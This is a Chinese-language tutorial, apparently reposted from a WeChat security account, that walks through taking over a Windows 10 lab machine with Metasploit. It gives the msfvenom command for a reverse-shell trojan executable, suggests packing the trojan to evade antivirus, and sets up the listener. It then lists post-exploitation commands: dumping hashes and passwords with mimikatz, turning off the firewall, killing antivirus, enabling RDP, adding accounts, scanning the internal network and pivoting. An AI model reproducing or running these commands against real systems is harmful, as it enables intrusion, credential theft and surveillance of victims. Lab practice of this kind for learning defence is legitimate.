简介
本篇文章将会用msfvenom生成一个windows下可执行木马exe的文件,用kali监听,靶机win10运行木马程序,实现控制靶机win10。
实验环境
1、一台kali虚拟机 ip为192.168.110.140
2、一台win10虚拟机
实验步骤
1、首先使用msfvenom生成一个可以被windows执行的exe木马文件。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.140 lport=4444 -f exe >shell.exe
2、可以利用kali对生成的木马进行加壳操作以达到免杀的效果(UPX压缩壳、Hyperion加密壳等技术)
3、把刚刚生成的exe木马文件传输到我们的win10靶机上
4、在kali上输入msfconsole打开metasploit
5、metasploit配置及监听
use exploit/multi/handler #加载模块
set payload windows/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
set lhost 127.0.0.1 #设置kali的IP地址为监听地址
set lport 4444 #设置监听端口
以上配置全部配置完成后我们就可以输入run然后开始监听了
监听好后我们就可以用win10靶机点击我们的木马程序
点击后就连接上我们的kali攻击机了
之后我们就可以利用metetpreter这个后渗透模块干一些骚操作了
如用webcam打开摄像头等!
MSF后渗透操作
runpost/windows/gather/smart_hashdump
load mimikatz
kiwi_cmd sekurlsa::logonpasswords
run post/windows/manage/enable_rdp //开启3389 proxychains rdesktop IP //远程连接 目标机需要开启3389端口
shell执行:netsh advfirewall set allprofiles state off
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
run autoroute -p //查看路由设置
run get_local_subnets //查看目标机本地子网情况
run autoroute -s 192.168.52.0/24 设置路由
run post/windows/manage/migrate
run post/windows/gather/checkvm
run post/windows/manage/killav
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_applications
run post/windows/gather/forensics/enum_drives
run post/multi/recon/local_exploit_suggester
run post/multi/gather/env
run post/windows/gather/enum_services
run post/windows/gather/dumplinks
删除用户
run post/wndows/manage/delete_user username=aiyou
添加账户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou
use auxiliary/scanner/netbios/nbname
set rhosts 192.168.52.0-255
run
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set ports 80,135-139,445,3306,3389
run
原文始发于微信公众号(网络安全学习爱好者):MSF简单利用win10
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论